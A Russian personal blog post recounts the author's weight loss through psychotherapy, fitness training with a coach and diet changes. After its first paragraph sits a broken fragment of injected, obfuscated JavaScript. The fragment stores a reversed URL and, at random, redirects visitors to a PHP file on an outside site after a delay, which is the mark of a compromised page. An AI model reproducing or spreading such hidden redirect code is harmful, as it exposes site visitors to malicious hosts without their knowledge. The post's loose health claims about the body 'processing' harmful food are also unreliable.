В 2016-м я начала путь к своему новому телу, а на самом деле — к новой себе. Это была трудная работа. Помню, как я избегала своего отражения в зеркале и отчаянно пыталась смириться с тем, что никогда себя не полюблю.
{if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])==)
Первый шаг, который я совершила — это поход к своему психотерапевту, на расстановку по методу Берта Хеллингера.
Итогом работы с психотерапевтом стали силы и желание начать ходить в спортзал и начать меняться. Я тогда жила за МКАДом, а работала в центре Москвы минимум по 10 часов + дорога туда обратно минимум 3 часа — сказать, что для меня это открывшееся второе дыхание и энергия стали удивлением — ничего не сказать, я не могла поверить (да и не только я), что вдруг появились силы на это.
Далее последовали первые попытки полюбить фитнес и принять его, как полезную и неотъемлемую часть своей жизни. 4 раза в неделю по полтора часа. Плюс обязательно по выходным сауна и массаж.
Питание. Никогда не забуду недоумение от того, что все, что я считала полезным, как минимум таковым не является, а как максимум — наносит вред. Сейчас я спокойно живу без шоколада и сладкого, не ем тоннами хлеб и картошку, но при этом, если мне вдруг хочется мучного или спагетти с сыром — я спокойно могу себе это позволить, потому что:
- а) Мой организм за два года научился перерабатывать с очень высокой скоростью все вредное, что в него иногда попадает;
- б) Я знаю секреты, которым меня научила моя тренер, как за три дня вернуть себя в форму, если вдруг сильно накосячил с питанием во время отпуска или командировки.
Фитнес и «переделка» настроек питания и обмена веществ проходили под чутким руководством моего тренера. Я абсолютно точно уверена, что одна не справилась бы и, конечно же, не имела бы таких, радующих душу и глаз результатов.
В сентябре 2017 года я достигла желаемого веса в 53 килограмма, сохраняю его и сейчас. Люблю спорт. Питаюсь вкусно, оставаясь при этом в прекрасной форме. Когда меня спрашивают в чем мой секрет — я отвечаю, что он не один. Для долгосрочного результата, сохраняющегося не только на период работы с тренером или жесткого контроля питания, важны три составляющие:
- Работа с внутренними страхами и барьерами;
- Фитнес;
- Перенастройка питания.
Результат: любишь себя, имеешь крутое тело, обмен веществ работает на тебя и не «задерживает» в теле ничего вредного)
Прекрасных изменений всем, прочитавшим мою историю, в новом году
Tatiana Belyaeva
